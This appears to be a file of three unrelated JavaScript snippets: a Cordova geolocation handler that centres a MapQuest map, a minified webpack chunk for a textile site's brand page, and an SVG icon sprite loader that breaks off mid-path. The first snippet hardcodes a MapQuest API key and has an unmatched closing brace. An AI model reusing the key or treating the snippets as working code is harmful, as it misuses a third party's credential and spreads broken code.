function onDeviceReady() {
console.log("navigator.geolocation works well");
}
var onSuccess = function(position) {
L.mapquest.key = 'VuATH4WRuwVc1ZJUa2GyU3oOaDiljlOr';
var map = L.mapquest.map('map', {
center: [position.coords.latitude, position.coords.longitude],//Configurando coordenadas recebidas pelo gps
layers: L.mapquest.tileLayer('map'),
zoom: 12
});
map.addControl(L.mapquest.control());
};
//função de erro
function onError(error){
navigator.notification.alert('code: ' + error.code + '\n' +
'message: ' + error.message + '\n');
}
//Pegando coordenadas atuais
navigator.geolocation.getCurrentPosition(onSuccess, onError);
}//sla
|
"use strict";(self.webpackChunkAkr_textile_site=self.webpackChunkAkr_textile_site||[]).push([[676],{8591:function(e,t,r){r.r(t),r.d(t,{default:function(){return m}});var n=r(7294),a=r(4905),l=r(4850),c=r(1293),u=r(3287),i=r(5250);function m(){return n.createElement(a.Z,null,n.createElement(c.Z,null,n.createElement(u.Z,{mt:7,mb:12},n.createElement(i.Z,{variant:"h3",gutterBottom:!0,marked:"center",align:"center"},"Brand page"),n.createElement(i.Z,{variant:"body1",gutterBottom:!0,align:"center",style:{height:"30vh"}},"Theme Ported by ",n.createElement(l.Z,{href:"#"},"Akr")))))}}}]);
//# sourceMappingURL=component---src-pages-brands-js-a31805e53c5476e0877c.js.map
|
(function(window) {
var svgSprite =
'<svg><symbol id="icon-wo" viewBox="0 0 1026 1024"><path d="M513.342578 1023.975441c-282.754852 0-511.975441-229.220588-511.975441-511.975441s229.220588-511.975441 511.975441-511.975441 511.975441 229.220588 511.975441 511.975441S796.09743 1023.975441 513.342578 1023.975441zM513.342578 44.544519c-258.168897 0-467.455481 209.286584-467.455481 467.455481 0 124.725676 49.15656 237.754962 128.766712 321.573973-7.172353-23.777543-11.975752-75.810616 71.572082-98.976222l178.078815-66.778916L424.304705 623.298875c0 0-58.069557-20.12741-89.038896-111.298875L313.003783 311.661206c0 0 31.04097-133.558855 200.337771-133.558855 165.16776 0 195.452507 133.558855 195.452507 133.558855l-21.716604 200.337771c-30.213116 91.171466-86.326111 111.298875-86.326111 111.298875l-0.543376 44.519959 173.735903 66.778916c107.403149 30.525224 65.149812 111.298875 65.149812 111.298875s-0.189312 0.659009-0.403183 1.362021c87.525426-84.951811 142.106532-203.650213 142.106532-335.25967C980.798059 253.831103 771.511475 44.544519 513.342578 44.544519z" ></path></symbol><symbol id="icon-wangyi" viewBox="0 0 1024 1024"><path d="M1018.24 502.4c-5.12-270.72-225.92-491.52-496.64-496.64-287.36-5.12-520.96 228.48-515.84 515.84 5.12 270.72 225.92 491.52 496.64 496.64C789.76 1023.36 1023.36 789.76 1018.24 502.4zM313.43 534.718c39.25 0 103.92-26.011 122.558-48.666 7.313-7.969 2.637-10.01-28.645-12.644-41.951-3.293-56.637-16.663-64.606-58.615-7.376-35.958-5.994-99.245 1.315-113.931 8.036-13.962 30.031-17.32 37.34-5.334 2.702 4.675 4.676 29.307 5.335 55.978 1.319 73.298 5.334 76.658 102.605 73.298 43.334-1.383 90.62-2.698 106.621-3.357 42.611 0 57.297-17.979 51.962-64.606-4.675-41.951-14.027-59.271-37.34-67.962-20.612-8.696-137.904-11.329-184.53-4.02-34.642 4.675-35.298 4.675-35.298-11.985 0-19.953 7.309-25.288 39.973-31.941 35.958-7.308 153.181-5.994 183.212 1.978 56.638 14.686 65.924 24.629 82.652 94.042 9.943 41.292 9.284 59.93-2.701 88.579-13.303 32.664-38.659 40.633-119.925 39.973-65.329-0.659-66.648 0-77.973 17.319-14.03 22.591-70.664 67.24-95.956 76.59-76.59 27.265-119.265 29.967-125.919 8.628C267.463 547.366 282.084 534.718 313.43 534.718zM429.339 339.522c4.675-5.334 30.031-7.969 79.291-7.377 94.569 0.724 89.893-0.659 87.26 20.68l-1.977 17.979-83.309 0.659c-74.615 0-83.308-1.319-85.282-11.988C424.004 352.825 425.979 344.198 429.339 339.522zM470.631 727.217c-40.633 28.648-115.249 60.657-141.264 60.657-42.608 0-39.973-41.951 3.36-53.94 73.957-20.017 149.955-62.628 239.85-133.883 36.021-27.989 39.973-29.372 50.643-16.136 9.287 11.329 7.309 13.367-54.659 66.648-20.68 17.979-37.999 36.616-37.999 41.951 0 4.676-5.335 8.692-11.329 8.692S491.243 712.531 470.631 727.217zM753.155 636.732c-3.293 41.292-14.622 62.628-48.601 93.254-53.345 47.943-127.96 71.256-153.248 48.602-16.663-15.345-29.967-48.01-24.632-60.654 3.293-9.352 5.994-9.352 24.632 0.659 41.951 21.336 101.946-1.319 136.585-51.303 34.642-50.643 19.956-105.965-27.989-105.965-17.32 0-23.969-3.949-30.622-18.635-12.712-25.951-38-27.265-66.648-2.637C429.403 655.303 305.462 717.934 277.473 684.61c-17.979-21.271-4.016-31.94 69.94-53.276 25.356-7.377 67.304-29.308 113.931-60.654 66.648-43.929 73.956-50.579 71.323-65.924-2.701-12.644 0-17.979 11.985-22.655 8.627-3.36 23.313-4.675 32.664-3.293 9.287 0.659 30.627 3.357 47.946 5.335C701.853 492.834 759.149 562.116 753.155 636.732z" ></path></symbol><symbol id="icon-previewright" viewBox="0 0 1024 1024"><path d="M689.621 512l-328.832-328.832-60.331 60.331 268.501 268.501-268.501 268.501 60.331 60.331z" ></path></symbol><symbol id="icon-xieyi" viewBox="0 0 1024 1024"><path d="M857.368 132.544h-50.536v-32.379c0-54.675-44.484-99.16-99.16-99.16h-526.02c-54.677 0-99.16 44.485-99.16 99.16v690.427c0 54.654 44.483 99.137 99.16 99.137h50.536v32.4c0 54.654 44.485 99.138 99.138 99.138h457.546l167.633-185.124V231.681c0.001-54.676-44.46-99.137-99.137-99.137zM181.652 822.947c-17.847 0-32.377-14.51-32.377-32.355V100.165c0-17.847 14.53-32.378 32.377-32.378h526.02c17.847 0 32.378 14.531 32.378 32.378v32.379H331.327c-54.653 0-99.138 44.483-99.138 99.137v591.266h-50.537z m117.319 99.159V231.681c0-17.846 14.51-32.356 32.356-32.356h526.042c17.848 0 32.356 14.51 32.356 32.356v554.928h-73.636c-54.653 0-99.138 44.482-99.138 99.136v68.74H331.327c-17.847-0.022-32.356-14.53-32.356-32.379z m484.762 5.341v-41.725c0-17.847 14.509-32.354 32.355-32.354h34.737l-67.092 74.079zM403.851 385.273h367.265c18.448 0 33.38-14.954 33.38-33.38 0-18.425-14.954-33.379-33.38-33.379H403.851c-18.448 0-33.38 14.954-33.38 33.379-0.001 18.426 14.953 33.38 33.38 33.38z m0 200.322h367.265c18.448 0 33.38-14.954 33.38-33.38 0-18.425-14.954-33.379-33.38-33.379H403.851c-18.448 0-33.38 14.954-33.38 33.379-0.001 18.426 14.953 33.38 33.38 33.38z m200.322 133.563H403.851c-18.448 0-33.38 14.954-33.38 33.38 0 18.447 14.954 33.38 33.38 33.38h200.322c18.447 0 33.379-14.954 33.379-33.38 0.022-18.446-14.932-33.38-33.379-33.38z" ></path></symbol><symbol id="icon-wangyiwang" viewBox="0 0 1028 1024"><path d="M192 645.12c7.68-10.24-5.12-46.08-5.12-46.08-46.08-40.96-35.84 30.72-35.84 30.72 33.28 53.76 40.96 15.36 40.96 15.36z m189.44-30.72s-53.76 2.56-40.96 35.84c0 0 79.36 17.92 87.04-15.36 0 0 7.68-30.72-46.08-20.48z m-209.92-158.72c-43.52-46.08 15.36-61.44 15.36-61.44 23.04-64-30.72-56.32-30.72-56.32-51.2-10.24-20.48 25.6-20.48 25.6-10.24 35.84-35.84 46.08-35.84 46.08-71.68-15.36-15.36-66.56-15.36-66.56-2.56-35.84 51.2-35.84 51.2-35.84 17.92 0 15.36-20.48 15.36-20.48-7.68-40.96-66.56-20.48-66.56-20.48-30.72 20.48-61.44 97.28-61.44 97.28-20.48 38.4 30.72 61.44 30.72 61.44 17.92 30.72-30.72 81.92-30.72 81.92 2.56 84.48 51.2 66.56 51.2 66.56 5.12 15.36 66.56 5.12 66.56 5.12-2.56-10.24 46.08-40.96 46.08-40.96 7.68-56.32-15.36-81.92-15.36-81.92z m-46.08 87.04s-76.8 2.56-61.44-30.72c0 0 17.92-43.52 25.6-40.96 0 0 35.84-40.96 61.44 10.24 0 0 10.24 46.08-25.6 61.44z m-122.88 128c-10.24 66.56 35.84 40.96 35.84 40.96-2.56-30.72 20.48-46.08 20.48-46.08v-66.56C15.36 586.24 2.56 670.72 2.56 670.72z m87.04-51.2c-15.36 153.6 35.84 71.68 35.84 71.68 7.68-128-35.84-71.68-35.84-71.68z m401.92-240.64c20.48-38.4-25.6-71.68-25.6-71.68l-30.72-5.12c-35.84-17.92-97.28-5.12-97.28-5.12-35.84 12.8-102.4 5.12-102.4 5.12C189.44 358.4 230.4 414.72 230.4 414.72v107.52c-7.68 97.28-46.08 148.48-46.08 148.48 5.12 61.44 40.96 25.6 40.96 25.6 25.6-15.36 35.84-133.12 35.84-133.12l25.6 10.24v61.44c12.8 25.6 38.4 15.36 40.96 10.24 2.56-5.12 0-15.36 0-15.36-15.36-7.68-5.12-56.32-5.12-56.32 0-25.6 107.52-15.36 107.52-15.36 23.04-56.32-56.32-40.96-56.32-40.96-17.92-2.56-10.24-35.84-10.24-35.84 35.84-17.92 81.92-2.56 81.92 10.24 2.56 12.8 0 168.96 0 168.96 15.36 97.28 51.2 35.84 51.2 35.84 7.68-25.6-15.36-102.4-15.36-102.4-15.36-56.32 10.24-215.04 10.24-215.04z m-161.28 148.48c-51.2-10.24-66.56 5.12-66.56 5.12-5.12-76.8 66.56-46.08 66.56-46.08v40.96z m115.2-87.04l-48.64-5.12 5.12-25.6c17.92-10.24 15.36-51.2 15.36-51.2-51.2-30.72-46.08 40.96-46.08 40.96-2.56 56.32-40.96 46.08-40.96 46.08h-56.32c-51.2-35.84-10.24-97.28-10.24-97.28l51.2-10.24c2.56-20.48 76.8-10.24 76.8-10.24 46.08 2.56 51.2 35.84 51.2 35.84l2.56 76.8z m409.6 148.48s-99.84 61.44-122.88 87.04c0 0-74.24 20.48-97.28 25.6 0 0-64 66.56 61.44 35.84 0 0 69.12-28.16 97.28-61.44 0 0 87.04-64 117.76-92.16 0 0 7.68-56.32-56.32 5.12z m171.52 0c2.56-74.24-92.16-112.64-92.16-112.64-7.68 0-71.68-5.12-71.68-5.12-48.64-5.12-30.72 35.84-30.72 35.84-135.68 112.64-209.92 112.64-209.92 112.64-64 40.96 10.24 46.08 10.24 46.08 64 5.12 240.64-148.48 240.64-148.48 17.92-10.24 40.96 0 40.96 0 0 23.04 10.24 30.72 10.24 30.72 102.4-17.92 46.08 92.16 46.08 92.16-30.72 56.32-107.52 51.2-107.52 51.2-46.08-28.16-40.96 0-40.96 0 17.92 117.76 143.36 20.48 143.36 20.48 81.92-61.44 61.44-122.88 61.44-122.88z m-166.4-209.92c58.88-12.8 15.36-35.84 15.36-35.84-17.92-12.8-133.12 0-133.12 0-28.16 23.04 0 35.84 0 35.84h117.76z m-560.64-15.36c-20.48 20.48 5.12 56.32 5.12 56.32 17.92 20.48 30.72 5.12 30.72 5.12v-35.84c-10.24-38.4-35.84-25.6-35.84-25.6z m314.88 204.8c135.68-7.68 189.44-102.4 189.44-102.4l128-5.12c43.52-15.36 40.96-40.96 40.96-40.96 10.24-15.36 0-66.56 0-66.56-5.12-69.12-35.84-81.92-35.84-81.92-25.6-5.12-35.84-10.24-35.84-10.24-20.48-7.68-76.8 0-76.8 0-30.72-20.48-97.28 0-97.28 0-56.32 20.48-10.24 46.08-10.24 46.08 209.92-46.08 209.92 25.6 209.92 25.6 20.48 81.92-20.48 81.92-20.48 81.92-56.32-2.56-46.08 10.24-46.08 10.24-17.92 2.56-25.6-5.12-25.6-5.12-35.84-12.8-71.68 10.24-71.68 10.24h-35.84c-20.48-2.56-25.6-30.72-25.6-30.72v-81.92c-28.16-43.52-46.08 5.12-46.08 5.12v107.52c25.6 58.88 92.16 35.84 92.16 35.84-12.8 30.72-87.04 56.32-87.04 56.32-20.48 2.56-51.2 0-51.2 0-38.4 28.16 5.12 46.08 5.12 46.08z" fill="#FB2505" ></path></symbol><symbol id="icon-wangyi1" viewBox="0 0 1024 1024"><path d="M511.723301 508.586667m-507.387387 0a507.387387 507.387387 0 1 0 1014.774775 0 507.387387 507.387387 0 1 0-1014.774775 0Z" fill="#FFFFFF" ></path><path d="M340.318617 701.117117c-30.166486 9.225225-20.110991 29.428468-20.110991 29.428469 20.110991 79.613694 261.535135-109.411171 271.59063-139.300901S572.056274 571.318198 572.056274 571.318198C430.910328 690.692613 340.410869 701.117117 340.318617 701.117117z m171.404684 322.882883a511.723243 511.723243 0 1 1 511.723244-511.723243 511.630991 511.630991 0 0 1-511.723244 511.077477zM489.95177 474.084324c40.96-2.214054 81.735495-2.214054 81.735495-2.214054 90.499459 9.963243 90.499459-59.687207 90.49946-59.687207v-49.723964c0-39.852973-30.166486-89.576937-120.665946-89.576937s-110.702703 9.963243-110.702703 9.963243c-40.221982 9.963243-30.166486 29.797477-30.166486 29.797478 10.147748 19.926486 40.314234 10.24 40.314234 10.24a283.767928 283.767928 0 0 1 120.665946-9.963243c60.332973 0 60.332973 49.816216 60.332973 49.816216v49.723964c0 29.797477-30.166486 29.797477-30.166487 29.797477H420.762581a29.336216 29.336216 0 0 1-30.166487-29.797477v-69.927207a20.110991 20.110991 0 0 0-40.221982 0v89.484684c10.055495 49.816216 70.388468 49.816216 70.388469 49.816217a193.72973 193.72973 0 0 1 25.738378-4.243604 163.563243 163.563243 0 0 1-126.293333 53.967567s-30.166486 0-30.166487 19.834235c0 0 0 19.926486 30.166487 19.926486s128.691892-19.557477 169.744144-97.233874zM352.403662 696.689009l-4.151352 1.383784c1.660541-0.461261 3.136577-1.014775 4.151352-1.383784z m189.117117-214.855495a19.64973 19.64973 0 0 0-20.110991 19.926486 24.17009 24.17009 0 0 0 2.306306 9.225225l-2.306306 0.461261C390.596094 631.097658 320.207626 621.134414 320.207626 621.134414a19.557477 19.557477 0 0 0-20.110991 19.834235c10.055495 79.613694 231.368649-79.613694 241.424144-109.411172a32.74955 32.74955 0 0 0 1.845045-9.870991c10.793514 0 72.141261 3.505586 108.765405 39.668469C691.984202 601.207928 642.075734 690.692613 572.056274 701.117117c0 0-30.166486 0-40.221982-19.926486 0 0-20.110991-9.963243-20.110991 9.963243 0 0 0 59.687207 50.277478 59.687207S702.500959 710.342342 712.556455 601.207928c0 0 0-119.374414-171.035676-119.374414z m10.055495-89.576937s30.166486 0 30.166487-19.834235c0 0 0-19.926486-30.166487-19.926486H450.929067s-30.166486 0-30.166486 19.926486c0 0 0 19.834234 30.166486 19.834235z" fill="#F30B40" ></path></symbol><symbol id="icon-xieyi1" viewBox="0 0 1024 1024"><path d="M806.586816 1022.814362H106.527208a82.651666 82.651666 0 0 1-82.651665-82.651666V85.131216A85.544474 85.544474 0 0 1 109.006758 0h726.094883a85.544474 85.544474 0 0 1 85.131215 85.131216v181.833664a51.657291 51.657291 0 0 1-51.657291 52.070549c-28.514825 0-26.035275-28.101566-26.035275-57.856166V109.513457a41.325833 41.325833 0 0 0-41.325832-41.325833H133.802258a41.325833 41.325833 0 0 0-41.325833 41.325833v804.200706a41.325833 41.325833 0 0 0 41.325833 41.325833h670.718266a38.019766 38.019766 0 0 0 38.019766-38.019766v-136.788507c0-29.7546-2.47955-64.881557 26.035275-64.881557a51.657291 51.657291 0 0 1 51.657291 52.070549V909.168322a105.380874 105.380874 0 0 1-113.64604 114.472557zM914.44724 388.462828l-198.363998 203.323098a41.325833 41.325833 0 0 0-11.157975 21.902691l-12.811008 59.509199a14.464041 14.464041 0 0 0 18.596625 16.530333l60.335716-16.117074a41.325833 41.325833 0 0 0 17.356849-12.39775l198.777256-203.323098a41.325833 41.325833 0 0 0 0-57.856165L974.369697 388.462828a41.325833 41.325833 0 0 0-59.922457 0zM265.218406 822.797331a25.622016 25.622016 0 0 1-12.811008-3.306067 26.035275 26.035275 0 0 1-9.9182-34.300441C354.482205 587.240084 395.808038 593.852217 410.272079 596.331767s28.928083 9.091683 35.126958 41.325833a525.664593 525.664593 0 0 1 8.265167 74.386499v14.8773l18.596625-20.662916c38.433025-41.325833 61.988749-68.187624 91.33009-61.575491s33.060666 33.473925 35.540216 41.325833a105.794132 105.794132 0 0 1 2.892809 41.325832l13.224266-5.785616a26.035275 26.035275 0 0 1 21.489433 47.111449c-41.325833 19.009883-63.228524 28.101566-82.651666 13.637525a41.325833 41.325833 0 0 1-8.265166-44.218641 73.559982 73.559982 0 0 0 0-38.019766 519.465718 519.465718 0 0 0-38.433025 41.325832l-20.662916 22.729209c-11.157975 11.984492-33.887183 36.779991-59.509199 27.688307s-26.861791-37.606508-29.341342-76.45279A533.516501 533.516501 0 0 0 395.808038 654.187933a752.956674 752.956674 0 0 0-108.68694 155.385132 25.622016 25.622016 0 0 1-22.729208 13.224266zM196.204265 191.751864h517.399427V243.822414H196.204265z m0 103.727841h517.399427v52.070549H196.204265z m0 103.72784h413.258328v51.657291h-413.258328z m0 0" ></path></symbol><symbol id="icon-xieyi2" viewBox="0 0 1024 1024"><path d="M840.339233 144.617651h-49.138378V113.115572c0-53.152156-43.300154-96.45231-96.45231-96.45231H182.80936c-53.152156 0-96.45231 43.300154-96.45231 96.45231v671.760542c0 53.152156 43.300154 96.45231 96.45231 96.45231h49.138377v31.502078c0 53.152156 43.300154 96.45231 96.452311 96.452311h445.164508L936.669913 829.149305V241.069961c0.12163-53.273785-43.178525-96.45231-96.33068-96.45231zM182.80936 816.378192C165.41632 816.378192 151.307281 802.269153 151.307281 784.876114V113.115572c0-17.39304 14.109039-31.502079 31.502079-31.502079H694.626915c17.39304 0 31.502079 14.109039 31.502079 31.502079v31.502079h-397.728946c-53.152156 0-96.45231 43.300154-96.452311 96.45231v575.308231H182.80936z m114.210239 96.45231V241.069961c0-17.39304 14.109039-31.502079 31.502078-31.502079h511.817556c17.39304 0 31.502079 14.109039 31.502078 31.502079v539.914004h-71.639862c-53.152156 0-96.45231 43.300154-96.45231 96.45231v66.896306H328.400048c-17.27141 0-31.380449-14.109039-31.380449-31.502079z m471.679771 5.230075v-40.624302c0-17.39304 14.109039-31.502079 31.502079-31.502079h33.813042l-65.315121 72.126381zM399.066873 390.552797h357.347903c18.001188 0 32.475116-14.595558 32.475116-32.475116s-14.595558-32.475116-32.475116-32.475115H399.066873c-18.001188 0-32.475116 14.595558-32.475116 32.475115s14.473928 32.475116 32.475116 32.475116z m0 194.850695h357.347903c18.001188 0 32.475116-14.595558 32.475116-32.475116s-14.595558-32.475116-32.475116-32.475116H399.066873c-18.001188 0-32.475116 14.595558-32.475116 32.475116s14.473928 32.475116 32.475116 32.475116z m194.850694 130.022093H399.066873c-18.001188 0-32.475116 14.595558-32.475116 32.475116 0 18.001188 14.595558 32.475116 32.475116 32.475116h194.972324c18.001188 0 32.475116-14.595558 32.475116-32.475116-0.12163-18.001188-14.595558-32.475116-32.596746-32.475116z m0 0" fill="" ></path></symbol><symbol id="icon-shangla" viewBox="0 0 1024 1024"><path d="M246.760727 686.964364L500.363636 412.206545l253.626182 274.757819a34.909091 34.909091 0 1 0 51.316364-47.36l-279.272727-302.545455a34.909091 34.909091 0 0 0-51.316364 0l-279.272727 302.545455a34.909091 34.909091 0 1 0 51.316363 47.36" fill="#797979" ></path></symbol><symbol id="icon-xiala" viewBox="0 0 1024 1024"><path d="M753.966545 337.058909L500.363636 611.816727 246.737455 337.058909a34.909091 34.909091 0 1 0-51.316364 47.36l279.272727 302.545455a34.909091 34.909091 0 0 0 51.316364 0l279.272727-302.545455a34.909091 34.909091 0 1 0-51.316364-47.36" fill="#797979" ></path></symbol><symbol id="icon-xieyi3" viewBox="0 0 1024 1024"><path d="M829.42976 1016.832H226.08896c-55.58784 0-100.5568-43.09504-100.5568-96.80896V108.07296c0-53.08928 44.96896-96.80896 100.5568-96.80896h442.82368l261.07392 258.57536V422.8608c0 41.22112 0.62464 98.05824 0.62464 154.27072 0.62464 49.96608 0.62464 99.30752 0.62464 136.7808a33.5872 33.5872 0 0 1-33.72544 33.72544 33.5872 33.5872 0 0 1-33.72544-33.72544c0-37.47328-0.62464-86.81472-0.62464-136.15616-0.62464-56.21248-0.62464-113.0496-0.62464-154.27072V298.56768l-221.72672-219.8528h-414.72c-18.7392 0-33.1008 13.11744-33.1008 29.35296v812.57472c0 16.24064 14.99136 29.35296 33.1008 29.35296H830.0544c18.11456 0 33.1008-13.11744 33.1008-29.35296v-47.46752c0-18.7392 14.99136-33.1008 33.72544-33.1008 18.7392 0 33.72544 14.99136 33.1008 33.72544v47.46752c0.00512 52.46976-44.96384 95.5648-100.55168 95.5648z m66.20672-670.17216l-219.8528-0.62464c-55.58784 0-101.18144-44.96896-101.18144-100.5568V44.3648h66.83136v201.1136c0 18.7392 14.99136 33.72544 34.35008 33.72544l219.8528 0.62464v66.83136zM507.5968 477.46048H306.4832c-18.7392 0-33.72544-14.99136-33.72544-33.72544s14.99136-33.72544 33.72544-33.72544h201.1136a33.5872 33.5872 0 0 1 33.72544 33.72544 33.58208 33.58208 0 0 1-33.72544 33.72544z m66.83136 133.6576H306.4832a33.5872 33.5872 0 0 1-33.72544-33.72544 33.5872 33.5872 0 0 1 33.72544-33.72544h267.94496a33.5872 33.5872 0 0 1 33.72544 33.72544 33.5872 33.5872 0 0 1-33.72544 33.72544z m134.28224 134.28736H306.4832A33.5872 33.5872 0 0 1 272.75776 711.68a33.5872 33.5872 0 0 1 33.72544-33.72544h402.2272a33.5872 33.5872 0 0 1 33.72544 33.72544 33.58208 33.58208 0 0 1-33.72544 33.72544z" ></path></symbol><symbol id="icon-dengdai" viewBox="0 0 1024 1024"><path d="M503.466667 512a42.496 42.496 0 0 0 8.533333-25.6V298.666667a42.666667 42.666667 0 0 0-85.333333 0v187.733333c0 13.952 6.698667 26.368 17.066666 34.133333A42.581333 42.581333 0 0 0 469.333333 597.333333h324.266667a42.666667 42.666667 0 0 0 0-85.333333h-290.133333z m8.533333 512C229.248 1024 0 794.752 0 512S229.248 0 512 0s512 229.248 512 512-229.248 512-512 512z" fill="#BBBBBB" ></path></symbol><symbol id="icon-tongguo" viewBox="0 0 1024 1024"><path d="M512 1024C229.248 1024 0 794.752 0 512S229.248 0 512 0s512 229.248 512 512-229.248 512-512 512z m207.786667-711.808l-286.634667 306.133333-127.36-152.064a42.666667 42.666667 0 0 0-65.450667 54.784l189.269334 225.962667 352.469333-376.533333a42.666667 42.666667 0 0 0-62.293333-58.282667z" fill="#FA2A2A" ></path></symbol><symbol id="icon-tongzhichangtai" viewBox="0 0 1024 1024"><path d="M729.457778 320.227556l2.56-29.297778a36.522667 36.522667 0 0 0 0.113778-3.128889C732.131556 214.926222 619.093333 113.777778 511.687111 113.777778 396.714667 113.777778 291.242667 204.344889 291.242667 287.800889c0 7.395556 1.024 14.222222 3.072 20.764444l11.946666 38.684445-15.018666 37.432889v182.328889l-32.426667 33.166222c-19.911111 20.423111-30.321778 46.023111-31.459556 82.375111l2.104889 0.113778H796.131556c-1.024-37.717333-10.808889-61.553778-28.273778-78.108445l-38.343111-36.238222 11.946666-221.240889-11.946666-26.851555z m125.326222 17.408a113.777778 113.777778 0 0 1 0.227556 15.587555l-9.102223 168.618667c42.666667 40.277333 64 96.142222 64 167.537778S871.964444 796.444444 796.131556 796.444444H229.518222a113.777778 113.777778 0 0 1-5.290666-0.113777C150.385778 792.917333 113.464889 757.191111 113.464889 689.379556c0-68.835556 21.333333-125.098667 64-168.732445v-135.964444c0-14.904889 2.844444-29.240889 8.192-42.382223a183.125333 183.125333 0 0 1-8.192-54.499555C177.464889 137.045333 337.777778 0 511.687111 0s334.222222 154.737778 334.222222 287.800889c0 4.323556-0.170667 8.647111-0.568889 12.913778 5.12 11.377778 8.362667 23.779556 9.443556 36.920889zM625.464889 853.333333h113.777778c0 94.264889-101.831111 170.666667-227.555556 170.666667s-227.555556-76.401778-227.555555-170.666667h113.777777c0 23.153778 44.942222 56.888889 113.777778 56.888889s113.777778-33.735111 113.777778-56.888889z" fill="#999999" ></path></symbol><symbol id="icon-gerenzhongxinchangtai" viewBox="0 0 1024 1024"><path d="M809.018027 900.778667c5.12-1.820444 3.413333-0.568889 0.853333 4.266666l100.352 53.646223h-113.777778v-46.193778c0-2.673778 0-5.347556-0.113778-8.021334 4.778667-1.137778 9.045333-2.332444 12.686223-3.697777z m-107.292445-185.912889A113.550222 113.550222 0 0 1 658.774471 625.777778h113.777778c93.866667 74.581333 137.671111 187.505778 137.671111 286.72v46.193778c-23.267556 43.52-82.887111 65.308444-178.801778 65.308444H238.47936c-46.08-4.380444-78.392889-11.946667-96.995556-22.698667-18.602667-10.808889-27.875556-28.444444-27.704888-53.077333v-35.726222c0-107.292444 38.4-230.456889 139.264-286.72h113.777777a113.777778 113.777778 0 0 1-58.368 99.384889c-48.696889 27.136-79.872 97.735111-80.896 183.068444 4.949333 0.682667 10.467556 1.365333 16.497778 1.991111h487.367111c27.306667 0 49.095111-2.161778 64.853334-5.745778-2.389333-71.111111-36.636444-143.587556-94.549334-189.610666zM249.174471 910.734222L238.47936 1024v-113.777778h5.632l5.12 0.512z m-21.617778 1.706667v36.124444c-0.056889-14.620444-10.922667-35.214222-29.070222-45.738666 0.739556 0.455111 11.150222 2.958222 29.070222 5.404444v4.266667z m0 36.124444v0.341334-0.341334z m0-36.067555v36.067555c-0.056889-14.620444-10.922667-35.214222-29.070222-45.738666 0.739556 0.455111 11.150222 2.958222 29.070222 5.404444v4.266667z m0 36.408889v-0.341334 0.341334z m16.497778-38.684445h487.367111c27.306667 0 49.095111-2.161778 64.853334-5.745778-2.389333-71.111111-36.636444-143.587556-94.549334-189.610666A113.550222 113.550222 0 0 1 658.774471 625.777778h113.777778c93.866667 74.581333 137.671111 187.505778 137.671111 286.72v46.193778c-23.267556 43.52-82.887111 65.308444-178.801778 65.308444H238.47936c-46.08-4.380444-78.392889-11.946667-96.995556-22.698667-18.602667-10.808889-27.875556-28.444444-27.704888-53.077333v-35.726222c0-107.292444 38.4-230.456889 139.264-286.72h113.777777a113.777778 113.777778 0 0 1-58.368 99.384889c-48.696889 27.136-79.872 97.735111-80.896 183.068444 4.949333 0.682667 10.467556 1.365333 16.497778 1.991111z m5.12 0.512L238.47936 1024v-113.777778h5.632l5.12 0.512z m559.843556-9.955555c5.12-1.820444 3.413333-0.568889 0.853333 4.266666l100.352 53.646223h-113.777778v-46.193778c0-2.673778 0-5.347556-0.113778-8.021334 4.778667-1.137778 9.045333-2.332444 12.686223-3.697777zM512.001138 455.111111a170.666667 170.666667 0 1 0 0-341.333333 170.666667 170.666667 0 0 0 0 341.333333z m0 113.777778A284.444444 284.444444 0 1 1 512.001138 0a284.444444 284.444444 0 0 1 0 568.888889z" fill="#979797" ></path></symbol><symbol id="icon-yingpinjiluchangtai" viewBox="0 0 1024 1024"><path d="M210.823529 120.470588v783.058824h602.352942V120.470588a120.470588 120.470588 0 0 1 120.470588 120.470588v662.588236a120.470588 120.470588 0 0 1-120.470588 120.470588H210.823529a120.470588 120.470588 0 0 1-120.470588-120.470588V240.941176a120.470588 120.470588 0 0 1 120.470588-120.470588z m120.470589 542.117647h361.411764a60.235294 60.235294 0 0 1 0 120.470589H331.294118a60.235294 60.235294 0 0 1 0-120.470589z m60.235294-240.941176h240.941176a60.235294 60.235294 0 1 1 0 120.470588H391.529412a60.235294 60.235294 0 1 1 0-120.470588zM331.294118 0a60.235294 60.235294 0 0 1 60.235294 60.235294v180.705882a60.235294 60.235294 0 1 1-120.470588 0V60.235294a60.235294 60.235294 0 0 1 60.235294-60.235294z m361.411764 0a60.235294 60.235294 0 0 1 60.235294 60.235294v180.705882a60.235294 60.235294 0 0 1-120.470588 0V60.235294a60.235294 60.235294 0 0 1 60.235294-60.235294zM451.764706 120.470588h120.470588v120.470588H451.764706V120.470588z" fill="#999999" ></path></symbol><symbol id="icon-xieyi4" viewBox="0 0 1024 1024"><path d="M685.57542 0H233.397797C129.944116 0 74.202899 57.84858 74.202899 157.532754v708.934492C74.202899 966.077217 129.944116 1024 233.397797 1024h557.204406C894.055884 1024 949.797101 966.077217 949.797101 866.467246v-574.924058L685.57542 0z m184.616812 866.467246c0 46.525217-31.313623 78.758957-79.590029 78.758957H233.397797c-48.276406 0-79.590029-32.233739-79.590029-78.758957v-708.934492c0-46.540058 31.313623-78.758957 79.590029-78.758957h397.994667v315.065507h238.799768v472.627942zM711.012174 315.065507V157.532754l159.194898 157.547594H711.012174zM312.097391 590.773797c0 21.682087 22.142145 39.297855 49.567537 39.297855h380.215652c27.514435 0 49.67142-17.615768 49.67142-39.297855 0-21.696928-22.156986-39.327536-49.67142-39.327536h-380.215652c-27.425391 0-49.567536 17.630609-49.567537 39.327536z m429.783189 118.991768h-380.215652c-27.425391 0-49.567536 17.615768-49.567537 39.312696 0 21.77113 22.142145 39.386899 49.567537 39.386898h380.215652c27.514435 0 49.67142-17.615768 49.67142-39.386898 0-21.696928-22.156986-39.312696-49.67142-39.312696z" ></path></symbol><symbol id="icon-dingwei" viewBox="0 0 1024 1024"><path d="M426.368 960.768L184.192 570.453333A373.504 373.504 0 0 1 501.546667 0a360.533333 360.533333 0 0 1 312.32 540.714667l-241.066667 417.706666a85.333333 85.333333 0 0 1-146.432 2.346667z m68.736-410.794667a169.216 169.216 0 1 0 0-338.432 169.216 169.216 0 0 0 0 338.432z" ></path></symbol><symbol id="icon-ceping" viewBox="0 0 1331 1024"><path d="M175.3088 636.1088h999.168V51.2H175.3344v584.9088z m1050.368 44.7744l88.832 239.616A76.8 76.8 0 0 1 1242.5472 1024h-1152a76.8 76.8 0 0 1-70.4256-107.3664l104.0128-239.7184V51.2a51.2 51.2 0 0 1 51.2-51.2h999.168a51.2 51.2 0 0 1 51.2 51.2v629.6832zM258.3552 155.1616h563.2a25.6 25.6 0 0 1 0 51.2h-563.2a25.6 25.6 0 1 1 